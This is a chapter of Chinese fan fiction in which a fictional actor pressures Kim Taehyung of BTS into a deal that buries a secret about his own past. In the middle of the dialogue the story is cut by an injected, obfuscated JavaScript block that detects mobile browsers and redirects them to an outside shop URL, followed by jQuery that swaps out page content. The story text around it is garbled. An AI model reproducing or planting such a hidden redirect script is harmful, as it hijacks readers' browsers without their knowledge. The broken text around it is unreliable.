练习室的门在田柾国身后关上，室内重归宁静，朴哲秀走到音响前关掉设备，拿起毛巾擦拭脖颈间的汗水，眼神沉静如水。


    仿佛刚才那场充满张力的即兴从未发生。


    但他知道，有些东西已经不同了。金泰亨手握着他过去的秘密，像悬在头顶的达摩克利斯之剑。


    哲秀坐在经纪人老金的办公室里，听着他略带忧虑地汇报。


    “哲秀啊，最近有些风向不太对。”老金滑动着平板上的数据和分析报告，


    “关于你和泰亨xi、柾国xi的那段舞蹈视频，热度是爆了，但随之而来的，是一些……不太和谐的声音。”


    哲秀不喜欢这种被动的感觉。


    他习惯于观察、分析，然后掌控节奏，无论是在表演上，还是在生活中。但他朴哲秀，要制定新的规则。


    首尔一家隐秘性极佳的日料店包厢内。


    朴哲秀安静地坐在矮桌前，看着对面的男人，一位在忠武路以性格古怪、眼光毒辣著称的资深制片人，姜成焕。


    他是李沧东导演的多年好友，也是《白桦林》的制片人之一。


    这次私下约饭，是姜成焕主动提出的。


    “哲秀啊，《白桦林》的粗剪我看过了。”姜成焕抿了一口清酒，语气带着毫不掩饰的欣赏，“李导没看错人，你那个俊英，沉得下去，立得起来，很好。”


    “谢谢姜制片，是导演指导和剧本扎实。”朴哲秀微微欠身，态度恭敬。


    “别谦虚。”姜成焕摆摆手，话锋一转，像是随口提起，“说起来，前几天跟几个朋友喝酒，碰到个有意思的事。防弹的那个金泰亨，你知道吧？”


    朴哲秀夹菜的筷子几不可察地顿了一下，随即恢复自然：“是，泰亨哥。”


    “他啊，不知道通过什么关系，攒了个局，请了我和另外两个制片、一位导演。”


    姜成焕笑了笑，带着点圈内人看透不说透的意味，“席间很热情，也很有礼貌，敬酒、聊天，姿态放得很低。能感觉到，他是真心想往电影圈钻。”


    朴哲秀安静地听着，没有插话。


    “他私下找我聊，说非常欣赏我的眼光，希望能有机会合作，哪怕是客串个小角色也行。”


    姜成焕摇了摇头，语气带着点惋惜，“小伙子外形条件顶级，人气没得说，态度也诚恳。但是……”


    他顿了顿，看向朴哲秀：“他太想演好了。聊天时，刻意引经据典，谈他理解的角色深度，谈斯坦尼斯拉夫斯基（注：戏剧表演理论体系），


    但总感觉隔了一层，像是在背诵提前准备好的资料，而不是发自内心的理解。他太想证明自己是个演员，反而露了怯。”


    姜成焕拿起酒壶，给自己和朴哲秀都斟了一杯：“他不懂，电影表演，有时候需要的是忘掉技巧，是把自己变成那个人。


    而不是拼命告诉别人你看我会演。他身边围绕的奉承太多，缺少能跟他说真话也能被他听进去的人。这点，他不如你。”


    姜成焕最后一句评价，轻飘飘的，却像一颗种子，落在了朴哲秀的心湖。


    几天后，HYBE公司大楼，一间小型会议室。


    朴哲秀和金泰亨偶然在走廊相遇，朴哲秀主动邀请：“泰亨哥，有空吗？有点关于电影方面的事情，想听听你的意见。”


    金泰亨有些意外，但很快扬起他标志性的笑容：“哦？哲秀有事找我？当然。”


    两人走进空会议室。朴哲秀关上门，没有寒暄，直接切入主题，语气平静得像在讨论天气：


    “哥是不是最近见了姜成焕制片？”


    金泰亨脸上的笑容微微一僵，眼神锐利了几分：“你怎么知道？”


    他私下接触制片人的事，并不想太多人知晓。


    “姜制片前几天跟我吃饭时提了一句。”


    朴哲秀坦然道，目光直视金泰亨，“他说哥很有诚意，但也说……哥太想证明自己了，反而显得不自然。”


    这话精准地刺破了金泰亨努力维持的从容。


    他的脸色瞬间沉了下来，语气也冷了几分：“哲秀，你这是什么意思？”


    “意思是，哥的方法可能用错了。”


    朴哲秀的声音依旧平稳，听不出任何情绪波动，“姜制片那样的人，见过的演员太多了。刻意的讨好和理论堆砌，在他眼里可能只是班门弄斧。”


    金泰亨靠在椅背上，抱起手臂，：“那依你看，该怎么办？像你一样，靠……特别的经历来打动导演？”


    朴哲秀仿佛没听出他话里的机锋，摇了摇头：“不。我的路，哥走不了。但哥的路，别人也走不了。”


    他向前倾身，双手交叠放在桌上，眼神冷静得像是在分析一个剧本角色：


    “哥的优势是无人能及的人气、顶级的时尚感和镜头表现力。


    弱点，是对底层生活和复杂人性的理解缺乏真实的土壤，以及，身边缺少真正的敢于说不的演员朋友。”


    金泰亨眉头微蹙，没有打断，示意他继续说。


    “哥想进军忠武路，目标应该是那些需要独特气质带有一定商业属性或作者风格的影片，


    而不是一开始就去强攻李沧东导演那种极度写实的类型。那是以短击长。”


    “其次，”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16709964|179259||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    朴哲秀顿了顿，抛出了真正的筹码，“哥需要的是能带你进入核心圈子、并能给你真诚反馈的人。比如，通过我。”


    金泰亨嗤笑一声：“通过你？”


    “是。”朴哲秀点头，“我可以把哥引荐给真正能帮到你的人，”


    “更重要的是，”朴哲秀的目光精准地剖析着金泰亨的内心，


    “我能给哥提供一样别人给不了的东西来自一个真正在忠武路站稳脚跟且了解你部分底细的同龄竞争者的绝对坦诚的表演评估和剧本分析。不是奉承，不是敷衍。


    是真正能帮你找到问题，甚至争取到合适角色的内部消息。”


    他身体微微后靠，语气带着掌控力：“作为交换，我希望我们之前那段不太愉快的小插曲，能彻底翻篇。


    我知道哥手里有些关于我过去的……模糊印象。让那些印象永远只是模糊的印象，对大家都好。”


    朴哲秀的微笑，“毕竟一个有着不可言说过去的演员但是他的高超演技足以弥补，而一个被评价为表演流于表面的偶像，


    如果被同时放到舆论的天平上，哥觉得，谁对资本更有价值”


    金泰亨的脸色变了几变。他没想到朴哲秀会如此直接如此犀利地反击。


    不仅点出了他的软肋，还给出了看似双赢实则将主动权牢牢握在自己手中的方案。


    朴哲秀提供的，正是他目前最渴求却又最难获得的真正进入核心圈子的敲门砖和真诚的专业帮助。


    他盯着朴哲秀那双沉静无波的眼睛，第一次清晰地意识到，这个年轻人，早已不是那个他可以轻易拿捏的躲在阴影里的影。


    他是一条潜藏在深水中的鳄鱼，冷静、耐心，一旦咬住猎物，便绝不松口。


    良久，金泰亨缓缓吐出一口气，脸是带着点挫败又不得不服气的凝重。


    “哲秀，”他第一次连名带姓地叫他，声音有些干涩，“你比我想象的，要厉害得多。”


    朴哲秀微微颔首，算是接受了他的称赞，语气依旧平淡：“那么，哥觉得我的提议？”


    金泰亨沉默了几秒，最终，像是卸下了什么重担，又像是做出了某种妥协，扯了扯嘴角：“听起来，我好像没有更好的选择。”


    他拿起桌上的手机，在手里转了一圈，然后看向朴哲秀，眼神里带着新的审视和一丝无奈的认可：“合作愉快？”


    朴哲秀这才露出一个真实了些许的笑容，伸出手：


    “合作愉快，泰亨哥。”


    两只手轻轻一握，迅速分开。


    权力的天平，在这一刻，悄然反转。自此，攻守易形。